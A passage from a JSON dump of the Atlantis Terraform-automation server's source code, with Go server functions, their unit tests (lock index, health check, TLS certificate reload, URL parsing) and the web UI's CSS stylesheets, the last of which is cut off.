applyCmdLock.Locked,\n\t\tGlobalApplyLockEnabled: applyCmdLock.GlobalApplyLockEnabled,\n\t\tTimeFormatted:          applyCmdLock.Time.Format(\"2006-01-02 15:04:05\"),\n\t}\n\t//Sort by date - newest to oldest.\n\tsort.SliceStable(lockResults, func(i, j int) bool { return lockResults[i].Time.After(lockResults[j].Time) })\n\n\terr = s.IndexTemplate.Execute(w, web_templates.IndexData{\n\t\tLocks:            lockResults,\n\t\tPullToJobMapping: preparePullToJobMappings(s),\n\t\tApplyLock:        applyLockData,\n\t\tAtlantisVersion:  s.AtlantisVersion,\n\t\tCleanedBasePath:  s.AtlantisURL.Path,\n\t})\n\tif err != nil {\n\t\ts.Logger.Err(err.Error())\n\t}\n}\n\nfunc preparePullToJobMappings(s *Server) []jobs.PullInfoWithJobIDs {\n\n\tpullToJobMappings := s.ProjectCmdOutputHandler.GetPullToJobMapping()\n\n\tfor i := range pullToJobMappings {\n\t\tfor j := range pullToJobMappings[i].JobIDInfos {\n\t\t\tjobUrl, _ := s.Router.Get(ProjectJobsViewRouteName).URL(\"job-id\", pullToJobMappings[i].JobIDInfos[j].JobID)\n\t\t\tpullToJobMappings[i].JobIDInfos[j].JobIDUrl = jobUrl.String()\n\t\t\tpullToJobMappings[i].JobIDInfos[j].TimeFormatted = pullToJobMappings[i].JobIDInfos[j].Time.Format(\"2006-01-02 15:04:05\")\n\t\t}\n\n\t\t//Sort by date - newest to oldest.\n\t\tsort.SliceStable(pullToJobMappings[i].JobIDInfos, func(x, y int) bool {\n\t\t\treturn pullToJobMappings[i].JobIDInfos[x].Time.After(pullToJobMappings[i].JobIDInfos[y].Time)\n\t\t})\n\t}\n\n\t//Sort by repository, project, path, workspace then date.\n\tsort.SliceStable(pullToJobMappings, func(x, y int) bool {\n\t\tif pullToJobMappings[x].Pull.RepoFullName != pullToJobMappings[y].Pull.RepoFullName {\n\t\t\treturn pullToJobMappings[x].Pull.RepoFullName < pullToJobMappings[y].Pull.RepoFullName\n\t\t}\n\t\tif pullToJobMappings[x].Pull.ProjectName != pullToJobMappings[y].Pull.ProjectName {\n\t\t\treturn pullToJobMappings[x].Pull.ProjectName < pullToJobMappings[y].Pull.ProjectName\n\t\t}\n\t\tif pullToJobMappings[x].Pull.Path != pullToJobMappings[y].Pull.Path {\n\t\t\treturn pullToJobMappings[x].Pull.Path < pullToJobMappings[y].Pull.Path\n\t\t}\n\t\treturn pullToJobMappings[x].Pull.Workspace < pullToJobMappings[y].Pull.Workspace\n\t})\n\n\treturn pullToJobMappings\n}\n\nfunc mkSubDir(parentDir string, subDir string) (string, error) {\n\tfullDir := filepath.Join(parentDir, subDir)\n\tif err := os.MkdirAll(fullDir, 0700); err != nil {\n\t\treturn \"\", fmt.Errorf(\"unable to create dir %q: %w\", fullDir, err)\n\t}\n\n\treturn fullDir, nil\n}\n\n// Healthz returns the health check response. It always returns a 200 currently.\nfunc (s *Server) Healthz(w http.ResponseWriter, _ *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Write(healthzData) // nolint: errcheck\n}\n\nvar healthzData = []byte(`{\n  \"status\": \"ok\"\n}`)\n\nfunc (s *Server) GetSSLCertificate(*tls.ClientHelloInfo) (*tls.Certificate, error) {\n\tcertStat, err := os.Stat(s.SSLCertFile)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"while getting cert file modification time: %w\", err)\n\t}\n\n\tkeyStat, err := os.Stat(s.SSLKeyFile)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"while getting key file modification time: %w\", err)\n\t}\n\n\tif s.SSLCert == nil || certStat.ModTime() != s.CertLastRefreshTime || keyStat.ModTime() != s.KeyLastRefreshTime {\n\t\tcert, err := tls.LoadX509KeyPair(s.SSLCertFile, s.SSLKeyFile)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"while loading tls cert: %w\", err)\n\t\t}\n\n\t\ts.SSLCert = &cert\n\t\ts.CertLastRefreshTime = certStat.ModTime()\n\t\ts.KeyLastRefreshTime = keyStat.ModTime()\n\t}\n\treturn s.SSLCert, nil\n}\n\n// ParseAtlantisURL parses the user-passed atlantis URL to ensure it is valid\n// and we can use it in our templates.\n// It removes any trailing slashes from the path so we can concatenate it\n// with other paths without checking.\nfunc ParseAtlantisURL(u string) (*url.URL, error) {\n\tparsed, err := url.Parse(u)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif parsed.Scheme != \"http\" && parsed.Scheme != \"https\" {\n\t\treturn nil, errors.New(\"http or https must be specified\")\n\t}\n\t// We want the path to end without a trailing slash so we know how to\n\t// use it in the rest of the program.\n\tparsed.Path = strings.TrimSuffix(parsed.Path, \"/\")\n\treturn parsed, nil\n}\n"
  },
  {
    "path": "server/server_internal_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage server\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\t\"testing/synctest\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/core/db\"\n\t\"github.com/runatlantis/atlantis/server/core/db/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"go.uber.org/mock/gomock\"\n)\n\nfunc TestServer_CloseDatabase(t *testing.T) {\n\n\ttimeout := time.Second\n\n\ttype databaseCase struct {\n\t\tdescription      string\n\t\tcloseFn          func() error\n\t\texpectedErr      string\n\t\texpectedDuration time.Duration\n\t}\n\n\tcases := []databaseCase{\n\t\t{\n\t\t\tdescription: \"closes successfully\",\n\t\t\tcloseFn:     func() error { return nil },\n\t\t},\n\t\t{\n\t\t\tdescription: \"returns database error\",\n\t\t\tcloseFn:     func() error { return errors.New(\"boom\") },\n\t\t\texpectedErr: \"boom\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"times out after 1s\",\n\t\t\tcloseFn: func() error {\n\t\t\t\ttime.Sleep(1500 * time.Millisecond)\n\t\t\t\treturn nil\n\t\t\t},\n\t\t\texpectedErr:      \"timed out\",\n\t\t\texpectedDuration: time.Second,\n\t\t},\n\t\t{\n\t\t\tdescription: \"nil database\",\n\t\t\tcloseFn:     nil, // nil means database itself is nil\n\t\t},\n\t}\n\n\tfor _, tt := range cases {\n\t\tt.Run(tt.description, func(t *testing.T) {\n\t\t\tsynctest.Test(t, func(t *testing.T) {\n\t\t\t\tvar database db.Database\n\t\t\t\tif tt.closeFn != nil {\n\t\t\t\t\tctrl := gomock.NewController(t)\n\t\t\t\t\tm := mocks.NewMockDatabase(ctrl)\n\t\t\t\t\tcloseFn := tt.closeFn\n\t\t\t\t\tm.EXPECT().Close().DoAndReturn(func() error {\n\t\t\t\t\t\treturn closeFn()\n\t\t\t\t\t})\n\t\t\t\t\tdatabase = m\n\t\t\t\t}\n\n\t\t\t\ts := &Server{\n\t\t\t\t\tdatabase: database,\n\t\t\t\t\tLogger:   logging.NewNoopLogger(t),\n\t\t\t\t}\n\n\t\t\t\tstart := time.Now()\n\t\t\t\terr := s.closeDatabase(timeout)\n\t\t\t\tduration := time.Since(start)\n\n\t\t\t\tassert.Equal(t, tt.expectedDuration, duration)\n\n\t\t\t\t//nolint:testifylint // testing error behavior, not precondition\n\t\t\t\tif tt.expectedErr == \"\" {\n\t\t\t\t\tassert.NoError(t, err)\n\t\t\t\t} else {\n\t\t\t\t\tassert.ErrorContains(t, err, tt.expectedErr)\n\t\t\t\t}\n\n\t\t\t\t// Make sure enough fake time so nothing is left running\n\t\t\t\ttime.Sleep(2 * time.Second)\n\t\t\t})\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/server_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage server_test\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"errors\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/gorilla/mux\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/cmd\"\n\t\"github.com/runatlantis/atlantis/server\"\n\t\"github.com/runatlantis/atlantis/server/controllers/web_templates\"\n\ttMocks \"github.com/runatlantis/atlantis/server/controllers/web_templates/mocks\"\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\tlockMocks \"github.com/runatlantis/atlantis/server/core/locking/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/jobs\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"go.uber.org/mock/gomock\"\n)\n\nconst (\n\ttestAtlantisVersion = \"1.0.0\"\n\ttestAtlantisUrl     = \"http://example.com\"\n\ttestLockingDBType   = cmd.DefaultLockingDBType\n\ttestGitHubHostName  = cmd.DefaultGHHostname\n\ttestGitHubUser      = \"user\"\n)\n\nfunc TestNewServer_GitHubUser(t *testing.T) {\n\tt.Log(\"Run through NewServer constructor\")\n\ttmpDir := t.TempDir()\n\t_, err := server.NewServer(\n\t\tserver.UserConfig{\n\t\t\tDataDir:        tmpDir,\n\t\t\tAtlantisURL:    testAtlantisUrl,\n\t\t\tLockingDBType:  testLockingDBType,\n\t\t\tGithubHostname: testGitHubHostName,\n\t\t\tGithubUser:     testGitHubUser,\n\t\t}, server.Config{\n\t\t\tAtlantisVersion: testAtlantisVersion,\n\t\t},\n\t)\n\tOk(t, err)\n}\n\n// todo: test what happens if we set different flags. The generated config should be different.\n\nfunc TestNewServer_InvalidAtlantisURL(t *testing.T) {\n\ttmpDir := t.TempDir()\n\t_, err := server.NewServer(server.UserConfig{\n\t\tDataDir:     tmpDir,\n\t\tAtlantisURL: \"example.com\",\n\t}, server.Config{\n\t\tAtlantisURLFlag: \"atlantis-url\",\n\t})\n\tErrEquals(t, \"parsing --atlantis-url flag \\\"example.com\\\": http or https must be specified\", err)\n}\n\nfunc TestIndex_LockErr(t *testing.T) {\n\tt.Log(\"index should return a 503 if unable to list locks\")\n\tctrl := gomock.NewController(t)\n\tl := lockMocks.NewMockLocker(ctrl)\n\tl.EXPECT().List().Return(nil, errors.New(\"err\"))\n\ts := server.Server{\n\t\tLocker: l,\n\t}\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\tw := httptest.NewRecorder()\n\ts.Index(w, req)\n\tResponseContains(t, w, 503, \"Could not retrieve locks: err\")\n}\n\nfunc TestIndex_Success(t *testing.T) {\n\tt.Log(\"Index should render the index template successfully.\")\n\tRegisterMockTestingT(t) // needed for pegomock TemplateWriter mock\n\tctrl := gomock.NewController(t)\n\tl := lockMocks.NewMockLocker(ctrl)\n\tal := lockMocks.NewMockApplyLocker(ctrl)\n\t// These are the locks that we expect to be rendered.\n\tnow := time.Now()\n\tlocks := map[string]models.ProjectLock{\n\t\t\"lkysow/atlantis-example/./default\": {\n\t\t\tPull: models.PullRequest{\n\t\t\t\tNum: 9,\n\t\t\t},\n\t\t\tProject: models.Project{\n\t\t\t\tRepoFullName: \"lkysow/atlantis-example\",\n\t\t\t},\n\t\t\tTime: now,\n\t\t},\n\t}\n\tl.EXPECT().List().Return(locks, nil)\n\tal.EXPECT().CheckApplyLock().Return(locking.ApplyCommandLock{}, nil)\n\tit := tMocks.NewMockTemplateWriter()\n\tr := mux.NewRouter()\n\tatlantisVersion := \"0.3.1\"\n\t// Need to create a lock route since the server expects this route to exist.\n\tr.NewRoute().Path(\"/lock\").\n\t\tQueries(\"id\", \"{id}\").Name(server.LockViewRouteName)\n\tu, err := url.Parse(\"https://example.com\")\n\tOk(t, err)\n\ts := server.Server{\n\t\tLocker:                  l,\n\t\tApplyLocker:             al,\n\t\tIndexTemplate:           it,\n\t\tRouter:                  r,\n\t\tAtlantisVersion:         atlantisVersion,\n\t\tAtlantisURL:             u,\n\t\tLogger:                  logging.NewNoopLogger(t),\n\t\tProjectCmdOutputHandler: &jobs.NoopProjectOutputHandler{},\n\t}\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\tw := httptest.NewRecorder()\n\ts.Index(w, req)\n\tit.VerifyWasCalledOnce().Execute(w, web_templates.IndexData{\n\t\tApplyLock: web_templates.ApplyLockData{\n\t\t\tLocked:        false,\n\t\t\tTime:          time.Time{},\n\t\t\tTimeFormatted: \"0001-01-01 00:00:00\",\n\t\t},\n\t\tLocks: []web_templates.LockIndexData{\n\t\t\t{\n\t\t\t\tLockPath:      \"/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault\",\n\t\t\t\tRepoFullName:  \"lkysow/atlantis-example\",\n\t\t\t\tPullNum:       9,\n\t\t\t\tTime:          now,\n\t\t\t\tTimeFormatted: now.Format(\"2006-01-02 15:04:05\"),\n\t\t\t},\n\t\t},\n\t\tPullToJobMapping: []jobs.PullInfoWithJobIDs{},\n\t\tAtlantisVersion:  atlantisVersion,\n\t})\n\tResponseContains(t, w, http.StatusOK, \"\")\n}\n\nfunc TestHealthz(t *testing.T) {\n\ts := server.Server{}\n\treq, _ := http.NewRequest(\"GET\", \"/healthz\", bytes.NewBuffer(nil))\n\tw := httptest.NewRecorder()\n\ts.Healthz(w, req)\n\n\tresp := w.Result()\n\tdefer resp.Body.Close()\n\tEquals(t, http.StatusOK, resp.StatusCode)\n\tbody, _ := io.ReadAll(resp.Body)\n\tEquals(t, \"application/json\", resp.Header[\"Content-Type\"][0])\n\tEquals(t,\n\t\t`{\n  \"status\": \"ok\"\n}`, string(body))\n}\n\ntype mockRW struct{}\n\nvar _ http.ResponseWriter = mockRW{}\nvar mh = http.Header{}\n\nfunc (w mockRW) WriteHeader(int)           {}\nfunc (w mockRW) Write([]byte) (int, error) { return 0, nil }\nfunc (w mockRW) Header() http.Header       { return mh }\n\nvar w = mockRW{}\nvar s = &server.Server{}\n\nfunc BenchmarkHealthz(b *testing.B) {\n\tb.ReportAllocs()\n\tfor b.Loop() {\n\t\ts.Healthz(w, nil)\n\t}\n}\n\nfunc TestGetCertificate(t *testing.T) {\n\ts := server.Server{}\n\tclientHelloInfo := &tls.ClientHelloInfo{}\n\n\t// Initial certificate load\n\ts.SSLCertFile = \"../testdata/cert.pem\"\n\ts.SSLKeyFile = \"../testdata/key.pem\"\n\tcert, err := s.GetSSLCertificate(clientHelloInfo)\n\tOk(t, err)\n\n\t// Certificate reload\n\ts.SSLCertFile = \"../testdata/cert2.pem\"\n\ts.SSLKeyFile = \"../testdata/key2.pem\"\n\ts.CertLastRefreshTime = s.CertLastRefreshTime.Add(-1 * time.Second)\n\ts.KeyLastRefreshTime = s.KeyLastRefreshTime.Add(-1 * time.Second)\n\tnewCert, err := s.GetSSLCertificate(clientHelloInfo)\n\n\tOk(t, err)\n\tAssert(\n\t\tt,\n\t\t!bytes.Equal(bytes.Join(cert.Certificate, nil), bytes.Join(newCert.Certificate, nil)),\n\t\t\"Certificate expected to rotate\")\n}\n\nfunc TestParseAtlantisURL(t *testing.T) {\n\tcases := []struct {\n\t\tIn     string\n\t\tExpErr string\n\t\tExpURL string\n\t}{\n\t\t// Valid URLs should work.\n\t\t{\n\t\t\tIn:     \"https://example.com\",\n\t\t\tExpURL: \"https://example.com\",\n\t\t},\n\t\t{\n\t\t\tIn:     \"http://example.com\",\n\t\t\tExpURL: \"http://example.com\",\n\t\t},\n\t\t{\n\t\t\tIn:     \"http://example.com/\",\n\t\t\tExpURL: \"http://example.com\",\n\t\t},\n\t\t{\n\t\t\tIn:     \"http://example.com\",\n\t\t\tExpURL: \"http://example.com\",\n\t\t},\n\t\t{\n\t\t\tIn:     \"http://example.com:4141\",\n\t\t\tExpURL: \"http://example.com:4141\",\n\t\t},\n\t\t{\n\t\t\tIn:     \"http://example.com:4141/\",\n\t\t\tExpURL: \"http://example.com:4141\",\n\t\t},\n\t\t{\n\t\t\tIn:     \"http://example.com/baseurl\",\n\t\t\tExpURL: \"http://example.com/baseurl\",\n\t\t},\n\t\t{\n\t\t\tIn:     \"http://example.com/baseurl/\",\n\t\t\tExpURL: \"http://example.com/baseurl\",\n\t\t},\n\t\t{\n\t\t\tIn:     \"http://example.com/baseurl/test\",\n\t\t\tExpURL: \"http://example.com/baseurl/test\",\n\t\t},\n\n\t\t// Must be valid URL.\n\t\t{\n\t\t\tIn:     \"::\",\n\t\t\tExpErr: \"parse \\\"::\\\": missing protocol scheme\",\n\t\t},\n\n\t\t// Must be absolute.\n\t\t{\n\t\t\tIn:     \"/hi\",\n\t\t\tExpErr: \"http or https must be specified\",\n\t\t},\n\n\t\t// Must have http or https scheme..\n\t\t{\n\t\t\tIn:     \"localhost/test\",\n\t\t\tExpErr: \"http or https must be specified\",\n\t\t},\n\t\t{\n\t\t\tIn:     \"http0://localhost/test\",\n\t\t\tExpErr: \"http or https must be specified\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.In, func(t *testing.T) {\n\t\t\tact, err := server.ParseAtlantisURL(c.In)\n\t\t\tif c.ExpErr != \"\" {\n\t\t\t\tErrEquals(t, c.ExpErr, err)\n\t\t\t} else {\n\t\t\t\tOk(t, err)\n\t\t\t\tEquals(t, c.ExpURL, act.String())\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/static/css/custom.css",
    "content": ".container {\n  max-width: 1200px; }\n.header {\n  margin-top: 2.5vh;\n  text-align: center; }\nimg.hero {\n  height: 20vh;\n  max-height: 120px;\n  width: auto;\n  max-width: 241px\n}\n.heading-font-size {\n  font-size: 1.2rem;\n  color: #999;\n  letter-spacing: normal; }\n.code-example {\n  margin-top: 1.5rem;\n  margin-bottom: 0; }\n.code-example-body {\n  white-space: pre;\n  word-wrap: break-word }\n.navbar {\n  display: none; }\n.content-table-heading {\n  font-size: 14px;}\ntbody {\n  font-size: 12px;}\n.ami-details {\n    text-transform: uppercase;\n    font-size: 1.2rem;\n    letter-spacing: .2rem;\n    font-weight: 600;\n    text-align: left;\n}\n.ami-data {\n    text-transform: none !important;\n    font-size: 1.2rem;\n    letter-spacing: .2rem;\n    font-weight: 100;\n}\n.instance-name-tag {\n  font-family: monospace, monospace;\n  font-size: 1.4rem;\n}\n.placeholder {\n  font-family: monospace, monospace;\n  font-size: 1.2rem;\n  color: grey;\n  font-style: italic;\n  text-align: center;\n}\n.loading-img {\n  display: none;\n  text-align: center;\n}\n.region-select {\n  text-align: center;\n  float: none !important;\n}\n#region-list {\n  margin-top: 8px;\n}\n\n/* Larger than phone */\n@media (min-width: 550px) {\n  .value-props {\n    margin-top: 9rem;\n    margin-bottom: 7rem; }\n  .value-img {\n    margin-bottom: 1rem; }\n  .example-grid .column,\n  .example-grid .columns {\n    margin-bottom: 1.5rem; }\n  .docs-section {\n    padding: 6rem 0; }\n  .example-send-yourself-copy {\n    float: right;\n    margin-top: 12px; }\n  .example-screenshot-wrapper {\n    position: absolute;\n    width: 48%;\n    height: 100%;\n    left: 0;\n    max-height: none; }\n}\n\n/* Larger than tablet */\n@media (min-width: 750px) {\n  /* Navbar */\n  .navbar + .docs-section {\n    border-top-width: 0; }\n  .navbar,\n  .navbar-spacer {\n    display: block;\n    width: 100%;\n    height: 6.5rem;\n    background: #fff;\n    z-index: 99;\n    border-top: 1px solid #eee;\n    border-bottom: 1px solid #eee; }\n  .navbar-spacer {\n    display: none; }\n  .navbar > .container {\n    width: 100%; }\n  .navbar-list {\n    list-style: none;\n    margin-bottom: 0; }\n  .navbar-item {\n    position: relative;\n    float: left;\n    margin-bottom: 0; }\n  .navbar-link {\n    text-transform: uppercase;\n    font-size: 11px;\n    font-weight: 600;\n    letter-spacing: .2rem;\n    text-decoration: none;\n    line-height: 6.5rem;\n    color: #222; }\n  .navbar-link.active {\n    color: #33C3F0; }\n  .has-docked-nav .navbar {\n    position: fixed;\n    top: 0;\n    left: 0; }\n  .has-docked-nav .navbar-spacer {\n    display: block; }\n  /* Re-overriding the width 100% declaration to match size of % based container */\n  .has-docked-nav .navbar > .container {\n    width: 80%; }\n\n  /* Popover */\n  .popover.open {\n    display: block;\n  }\n  .popover {\n    display: none;\n    position: absolute;\n    top: 0;\n    left: 0;\n    background: #fff;\n    border: 1px solid #eee;\n    border-radius: 4px;\n    top: 92%;\n    left: -50%;\n    -webkit-filter: drop-shadow(0 0 6px rgba(0,0,0,.1));\n       -moz-filter: drop-shadow(0 0 6px rgba(0,0,0,.1));\n            filter: drop-shadow(0 0 6px rgba(0,0,0,.1)); }\n  .popover-item:first-child .popover-link:after,\n  .popover-item:first-child .popover-link:before {\n    bottom: 100%;\n    left: 50%;\n    border: solid transparent;\n    content: \" \";\n    height: 0;\n    width: 0;\n    position: absolute;\n    pointer-events: none; }\n  .popover-item:first-child .popover-link:after {\n    border-color: rgba(255, 255, 255, 0);\n    border-bottom-color: #fff;\n    border-width: 10px;\n    margin-left: -10px; }\n  .popover-item:first-child .popover-link:before {\n    border-color: rgba(238, 238, 238, 0);\n    border-bottom-color: #eee;\n    border-width: 11px;\n    margin-left: -11px; }\n  .popover-list {\n    padding: 0;\n    margin: 0;\n    list-style: none; }\n  .popover-item {\n    padding: 0;\n    margin: 0; }\n  .popover-link {\n    position: relative;\n    color: #222;\n    display: block;\n    padding: 8px 20px;\n    border-bottom: 1px solid #eee;\n    text-decoration: none;\n    text-transform: uppercase;\n    font-size: 1.0rem;\n    font-weight: 600;\n    text-align: center;\n    letter-spacing: .1rem; }\n  .popover-item:first-child .popover-link {\n    border-radius: 4px 4px 0 0; }\n  .popover-item:last-child .popover-link {\n    border-radius: 0 0 4px 4px;\n    border-bottom-width: 0; }\n  .popover-link:hover {\n    color: #fff;\n    background: #33C3F0; }\n  .popover-link:hover,\n  .popover-item:first-child .popover-link:hover:after {\n    border-bottom-color: #33C3F0; }\n}\n.content {\n  margin-bottom: 2px;\n}\n.unlock-discard-btn {\n  border-color: red !important;\n  background-color: red !important;\n}\n.stash-nav-bar {\n  text-align: center;\n  float: none !important;\n}\n.state-viewer {\n  min-height: 350px;\n}\n.messages {\n  position: relative;\n}\n.messages code{\n  background-color: #2ECC71;\n  border: #2ECC71;\n  color: #FFFFFF;\n}\n.messages-error code{\n  background-color: #E74C3C;\n  border: #E74C3C;\n  color: #FFFFFF;\n}\n.unlock{\n  height: 16px;\n  margin-top: 12px;\n  line-height: 18px;\n  padding: 0 10px;\n  font-family: monospace;\n}\n.list-unlock{\n  float: right;\n}\n\n/* Styles for the lock index */\n.lock-grid{\n  display: grid;\n  grid-template-columns: auto auto auto auto auto auto;\n  border: 1px solid #dbeaf4;\n  width: 100%;\n  font-size: 12px;\n}\n\n.lock-header {\n  display: contents;\n  font-weight: bold;\n}\n\n.lock-header span {\n  border-bottom: 1px solid #dbeaf4;\n  padding: 5px;\n}\n\n.lock-row {\n  display: contents;\n}\n\n.lock-row a {\n  border-bottom: 1px solid #dbeaf4;\n  padding: 5px;\n}\n\n.lock-row:hover a {\n  background-color: #dbeaf4;\n  cursor: pointer;\n}\n\n.lock-row:hover a:hover {\n  color: initial\n}\n\n.lock-link {\n  text-decoration: none;\n  color: #555\n}\n\n.lock-reponame {\n  word-break: break-all;\n}\n\n.lock-username {\n  word-break: break-all;\n}\n\n.lock-path {\n  padding: .2rem .5rem;\n  margin: 0 .2rem;\n  font-family: monospace;\n  font-size: 90%;\n  background: #F1F1F1;\n  border: 1px solid #E1E1E1;\n  border-radius: 4px;\n  word-break: break-all;\n}\n\n.lock-datetime {\n  color: #999;\n}\n/* Style for the Pull To Job Mapping Table */\n.pulls-grid{\n  display: grid;\n  grid-template-columns: auto auto auto auto;\n  border: 1px solid #dbeaf4;\n  width: 100%;\n  font-size: 12px;\n}\n\n.pulls-row {\n  display: contents;\n}\n\n.pulls-element {\n  border-bottom: 1px solid #dbeaf4;\n  padding: 5px;\n}\n\n/* The Modal (background) */\n.modal {\n    display: none; /* Hidden by default */\n    position: fixed; /* Stay in place */\n    z-index: 1; /* Sit on top */\n    padding-top: 100px; /* Location of the box */\n    left: 0;\n    top: 0;\n    width: 100%; /* Full width */\n    height: 100%; /* Full height */\n    overflow: auto; /* Enable scroll if needed */\n    background-color: rgb(0,0,0); /* Fallback color */\n    background-color: rgba(0,0,0,0.4); /* Black w/ opacity */\n}\n\n.lock-detail-grid {\n  display: grid;\n  grid-template-columns: 130px auto;\n  border: 1px solid #dbeaf4;\n  width: 100%;\n  font-size: 14px;\n}\n\n/* Modal Header */\n.modal-header {\n    padding: 8px 12px;\n    background-color: #222222;\n    color: white;\n}\n\n/* Modal Body */\n.modal-body {padding: 18px 16px;}\n\n/* Modal Content */\n.modal-content {\n    position: relative;\n    background-color: #fefefe;\n    margin: auto;\n    padding: 0;\n    border: 1px solid #888;\n    width: 50%;\n    box-shadow: 0 4px 8px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19);\n    -webkit-animation-name: animatetop;\n    -webkit-animation-duration: 0.4s;\n    animation-name: animatetop;\n    animation-duration: 0.4s\n}\n\n/* Add Animation */\n@-webkit-keyframes animatetop {\n    from {top: -300px; opacity: 0}\n    to {top: 0; opacity: 1}\n}\n\n@keyframes animatetop {\n    from {top: -300px; opacity: 0}\n    to {top: 0; opacity: 1}\n}\n\n.js-discard-success {\n  font-family: monospace, monospace; font-size: 1.1em; text-align: center; display: none;\n}\n\n.github-app-msg {\n  font-family: monospace, monospace; font-size: 1.1em; text-align: center;\n}\n\n.title-heading {\n  font-family: monospace, monospace; font-size: 1.1em; text-align: center;\n }\n\n.terminal-heading-white {\n  font-family: monospace, monospace; font-size: 1.1em; text-align: center; color: white;\n }\n\n.small {\n  font-size: 1.0em;\n}\n\n/* Footer contains the Atlantis version */\nfooter {\n  font-family: monospace, monospace; font-size: 1.2rem;\n  position: fixed;\n  bottom: 0;\n  right: 0;\n  color: grey;\n  padding-right: 10px;\n}\n\n.footer-white {\n  font-family: monospace, monospace; font-size: 1.2rem;\n  position: fixed;\n  bottom: 0;\n  right: 0;\n  color: grey;\n  padding-right: 10px;\n  color: white;\n}\n"
  },
  {
    "path": "server/static/css/normalize.css",
    "content": "/*! normalize.css v3.0.2 | MIT License | git.io/normalize */\n\n/**\n * 1. Set default font family to sans-serif.\n * 2. Prevent iOS text size adjust after orientation change, without disabling\n *    user zoom.\n */\n\nhtml {\n  font-family: sans-serif; /* 1 */\n  -ms-text-size-adjust: 100%; /* 2 */\n  -webkit-text-size-adjust: 100%; /* 2 */\n}\n\n/**\n * Remove default margin.\n */\n\nbody {\n  margin: 0;\n}\n\n/* HTML5 display definitions\n   ========================================================================== */\n\n/**\n * Correct `block` display not defined for any HTML5 element in IE 8/9.\n * Correct `block` display not defined for `details` or `summary` in IE 10/11\n * and Firefox.\n * Correct `block` display not defined for `main` in IE 11.\n */\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nmenu,\nnav,\nsection,\nsummary {\n  display: block;\n}\n\n/**\n * 1. Correct `inline-block` display not defined in IE 8/9.\n * 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.\n */\n\naudio,\ncanvas,\nprogress,\nvideo {\n  display: inline-block; /* 1 */\n  vertical-align: baseline; /* 2 */\n}\n\n/**\n * Prevent modern browsers from displaying `audio` without controls.\n * Remove excess height in iOS 5 devices.\n */\n\naudio:not([controls]) {\n  display: none;\n  height: 0;\n}\n\n/**\n * Address `[hidden]` styling not present in IE 8/9/10.\n * Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.\n */\n\n[hidden],\ntemplate {\n  display: none;\n}\n\n/* Links\n   ========================================================================== */\n\n/**\n * Remove the gray background color from active links in IE 10.\n */\n\na {\n  background-color: transparent;\n}\n\n/**\n * Improve readability when focused and also mouse hovered in all browsers.\n */\n\na:active,\na:hover {\n  outline: 0;\n}\n\n/* Text-level semantics\n   ========================================================================== */\n\n/**\n * Address styling not present in IE 8/9/10/11, Safari, and Chrome.\n */\n\nabbr[title] {\n  border-bottom: 1px dotted;\n}\n\n/**\n * Address style set to `bolder` in Firefox 4+, Safari, and Chrome.\n */\n\nb,\nstrong {\n  font-weight: bold;\n}\n\n/**\n * Address styling not present in Safari and Chrome.\n */\n\ndfn {\n  font-style: italic;\n}\n\n/**\n * Address variable `h1` font-size and margin within `section` and `article`\n * contexts in Firefox 4+, Safari, and Chrome.\n */\n\nh1 {\n  font-size: 2em;\n  margin: 0.67em 0;\n}\n\n/**\n * Address styling not present in IE 8/9.\n */\n\nmark {\n  background: #ff0;\n  color: #000;\n}\n\n/**\n * Address inconsistent and variable font size in all browsers.\n */\n\nsmall {\n  font-size: 80%;\n}\n\n/**\n * Prevent `sub` and `sup` affecting `line-height` in all browsers.\n */\n\nsub,\nsup {\n  font-size: 75%;\n  line-height: 0;\n  position: relative;\n  vertical-align: baseline;\n}\n\nsup {\n  top: -0.5em;\n}\n\nsub {\n  bottom: 